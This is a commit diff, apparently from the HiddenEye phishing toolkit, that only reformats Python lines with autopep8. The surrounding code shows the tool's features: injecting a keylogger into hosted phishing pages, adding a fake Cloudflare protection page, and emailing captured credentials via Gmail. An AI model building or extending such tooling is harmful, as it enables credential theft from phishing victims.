Restyled by autopep8
parent
0e584f24c0
commit
f1d4c0e2fe
|
@ -91,7 +91,8 @@ def terms_of_service_message():
|
|||
agreement = license_handler()
|
||||
if not agreement:
|
||||
print(localization.lang_terms_of_service_message["GPL_3.0"])
|
||||
print(localization.lang_terms_of_service_message["great_power_great_responsibility"])
|
||||
print(
|
||||
localization.lang_terms_of_service_message["great_power_great_responsibility"])
|
||||
print(localization.
|
||||
lang_terms_of_service_message["do_you_accept_license"])
|
||||
print(localization.
|
||||
|
@ -275,14 +276,16 @@ def verify_connection(
|
|||
elif internet_choice == "n":
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(" " + global_localization.by_darksec)
|
||||
print(" " +
|
||||
global_localization.by_darksec)
|
||||
print(" " +
|
||||
global_localization.official_website_link)
|
||||
print(localization.lang_exit_message["help_to_improve_this_tool"])
|
||||
print(localization.lang_exit_message["tell_if_page_got_broken"])
|
||||
print(
|
||||
localization.lang_exit_message["make_your_pull_request_or_issue"])
|
||||
print(localization.lang_exit_message["small_disclaimer_suggestion"])
|
||||
print(
|
||||
localization.lang_exit_message["small_disclaimer_suggestion"])
|
||||
print(localization.lang_exit_message["forum_suggestion"])
|
||||
print(localization.lang_exit_message["financial_support"])
|
||||
print(localization.lang_exit_message["thank_you"])
|
||||
|
|
|
@ -12,7 +12,8 @@ import Defs.ThemeManager.theme as theme
|
|||
default_palette = theme.default_palette
|
||||
|
||||
|
||||
def captured_data_email_confirmation(port): # Ask user to start sending credentials to recipient Email Address.
|
||||
# Ask user to start sending credentials to recipient Email Address.
|
||||
def captured_data_email_confirmation(port):
|
||||
import Defs.ActionManager.simple_informant as simple_informant
|
||||
choice = input(
|
||||
"\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}".format(
|
||||
|
@ -50,14 +51,16 @@ def captured_data_email_configuration_prompt():
|
|||
# run_command('cp Defs/FeatureManager/EmailManager/EmailConfigDefault.py Defs/FeatureManager/EmailManager/emailconfig.py')
|
||||
copyfile('Defs/FeatureManager/EmailManager/EmailConfigDefault.py',
|
||||
'Defs/FeatureManager/EmailManager/emailconfig.py')
|
||||
GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(default_palette[0], default_palette[4]))
|
||||
GMAILACCOUNT = input(
|
||||
"{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(default_palette[0], default_palette[4]))
|
||||
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace('GMAILACCOUNT', GMAILACCOUNT)
|
||||
f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
|
||||
f.write(c)
|
||||
f.close()
|
||||
print("{0}[.] {1}Email Address Added To config File. !\n".format(default_palette[0], default_palette[4]))
|
||||
print("{0}[.] {1}Email Address Added To config File. !\n".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
GMAILPASSWORD = getpass.getpass(
|
||||
"{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format(default_palette[0], default_palette[4]))
|
||||
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
|
||||
|
@ -68,7 +71,8 @@ def captured_data_email_configuration_prompt():
|
|||
f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
|
||||
f.write(c)
|
||||
f.close()
|
||||
print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format(default_palette[0], default_palette[4]))
|
||||
print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
RECIPIENTEMAIL = input(
|
||||
"{0}[{1}+{0}] Enter Recipient Email:{1} ".format(default_palette[0], default_palette[4]))
|
||||
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
|
||||
|
|
|
@ -25,5 +25,6 @@ def add_cloudfare():
|
|||
print('Unable to find index file, skipping...')
|
||||
return
|
||||
copyfile('WebPages/cloudflare.html', 'Server/www/index.html')
|
||||
print("\n{0}[{1}#{0}]CLOUDFARE FAKE PAGE{0} ADDED...".format(default_palette[0], default_palette[4]))
|
||||
print("\n{0}[{1}#{0}]CLOUDFARE FAKE PAGE{0} ADDED...".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
wait(1)
|
||||
|
|
|
@ -43,4 +43,3 @@ def feature_prompt():
|
|||
print(global_localization.invalid_option)
|
||||
sleep(3)
|
||||
feature_prompt()
|
||||
|
||||
|
|
|
@ -21,7 +21,8 @@ def add_keylogger():
|
|||
f = open('Server/www/index.html', 'w')
|
||||
f.write(c)
|
||||
f.close()
|
||||
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(default_palette[0], default_palette[4]))
|
||||
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
wait(2)
|
||||
else:
|
||||
with open('Server/www/index.php') as f:
|
||||
|
@ -31,6 +32,6 @@ def add_keylogger():
|
|||
f = open('Server/www/index.php', 'w')
|
||||
f.write(c)
|
||||
f.close()
|
||||
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(default_palette[0], default_palette[4]))
|
||||
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
wait(2)
|
||||
|
||||
|
|
|
@ -14,4 +14,5 @@ default_palette = theme.default_palette
|
|||
def print_sorted_as_menu(sorting_list):
|
||||
col_width = max(len(word) for row in sorting_list for word in row) + 2
|
||||
for row in sorting_list:
|
||||
print("".join(word.ljust(col_width) for word in row).format(default_palette[0], default_palette[2]))
|
||||
print("".join(word.ljust(col_width)
|
||||
for word in row).format(default_palette[0], default_palette[2]))
|
||||
|
|
|
@ -17,13 +17,18 @@ feature_prompt = {
|
|||
"LIKE TO USE. ]{1} {0}\n---------------------------------------------------------".format(
|
||||
default_palette[0], default_palette[4])),
|
||||
"keylogger":
|
||||
_("\n{0}[{1}A{0}]{1} KEYLOGGER (Usually Kills Connection) ".format(default_palette[0], default_palette[2])),
|
||||
_("\n{0}[{1}A{0}]{1} KEYLOGGER (Usually Kills Connection) ".format(
|
||||
default_palette[0], default_palette[2])),
|
||||
"cloudfare":
|
||||
_("\n{0}[{1}B{0}]{1} FAKE CLOUDFARE PROTECTION PAGE ".format(default_palette[0], default_palette[2])),
|
||||
_("\n{0}[{1}B{0}]{1} FAKE CLOUDFARE PROTECTION PAGE ".format(
|
||||
default_palette[0], default_palette[2])),
|
||||
"email":
|
||||
_("\n{0}[{1}C{0}]{1} CAPTURED DATA EMAILED ".format(default_palette[0], default_palette[2])),
|
||||
_("\n{0}[{1}C{0}]{1} CAPTURED DATA EMAILED ".format(
|
||||
default_palette[0], default_palette[2])),
|
||||
"none":
|
||||
_("\n{0}[{1}0{0}]{1} PRESS ONLY ENTER FOR NONE OF THE ABOVE ".format(default_palette[0], default_palette[2])),
|
||||
_("\n{0}[{1}0{0}]{1} PRESS ONLY ENTER FOR NONE OF THE ABOVE ".format(
|
||||
default_palette[0], default_palette[2])),
|
||||
"example":
|
||||
_('\n{0}[{1}*{0}]{1} Please type all together. Eg: ABC or AC {0}[{1}*{0}]{1}'.format(default_palette[0], default_palette[2]))
|
||||
}
|
||||
_('\n{0}[{1}*{0}]{1} Please type all together. Eg: ABC or AC {0}[{1}*{0}]{1}'.format(
|
||||
default_palette[0], default_palette[2]))
|
||||
}
|
||||
|
|
|
@ -16,8 +16,10 @@ hidden_eye_logo = """
|
|||
{1} ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ {2}██ ██ ██ {0}
|
||||
{1} ██ ██ ██ ██████ ██████ ███████ ██ ███ {2}███████ ██ ███████ {0}""".format(default_palette[4], default_palette[2], default_palette[0])
|
||||
|
||||
input_line = "\n{0}HiddenEye >>> {1}".format(default_palette[0], default_palette[2])
|
||||
official_website_link = '{0}https://dark-sec-official.com'.format(default_palette[0])
|
||||
input_line = "\n{0}HiddenEye >>> {1}".format(
|
||||
default_palette[0], default_palette[2])
|
||||
official_website_link = '{0}https://dark-sec-official.com'.format(
|
||||
default_palette[0])
|
||||
by_darksec = '{0}** BY:DARKSEC **'.format(default_palette[0])
|
||||
line_of_dots = '{0}...............................'.format(default_palette[0])
|
||||
small_logo = '''{1}
|
||||
|
@ -26,4 +28,4 @@ small_logo = '''{1}
|
|||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{1}http://github.com/darksecdevelopers
|
||||
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2])
|
||||
invalid_option = "Please choose a valid option."
|
||||
invalid_option = "Please choose a valid option."
|
||||
|
|
|
@ -6,4 +6,5 @@
|
|||
#
|
||||
|
||||
|
||||
default_palette = ['\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m'] # TODO Will be replaced later,
|
||||
default_palette = ['\033[91m', '\033[46m', '\033[36m',
|
||||
'\033[1;32m', '\033[0m'] # TODO Will be replaced later,
|
||||
|
|
|
@ -25,7 +25,8 @@ class EULAController:
|
|||
text_license = self.license.read()
|
||||
with open(str(self.eula), 'w+') as temp_eula:
|
||||
chmod(self.eula, 0o777)
|
||||
temp_eula.write("{0}\n{1}".format(EULAView().EULA_messages["eula_start_of_file_unconfirmed"], text_license))
|
||||
temp_eula.write("{0}\n{1}".format(
|
||||
EULAView().EULA_messages["eula_start_of_file_unconfirmed"], text_license))
|
||||
temp_eula.close()
|
||||
|
||||
def check_eula_confirmation(self):
|
||||
|
@ -48,7 +49,8 @@ class EULAController:
|
|||
answer = input("HiddenEye EULA>> ").lower().replace(" ", "")
|
||||
if answer == "iaccepteula":
|
||||
eula_temp_input = open(self.eula, "rt")
|
||||
eula_temp_data = eula_temp_input.read().replace(EULAView().EULA_messages["eula_start_of_file_unconfirmed"], EULAView().EULA_messages["eula_start_of_file_confirmed"])
|
||||
eula_temp_data = eula_temp_input.read().replace(EULAView(
|
||||
).EULA_messages["eula_start_of_file_unconfirmed"], EULAView().EULA_messages["eula_start_of_file_confirmed"])
|
||||
eula_temp_input.close()
|
||||
eula_temp_input = open(self.eula, "wt")
|
||||
eula_temp_input.write(eula_temp_data)
|
||||
|
|
Loading…
Reference in New Issue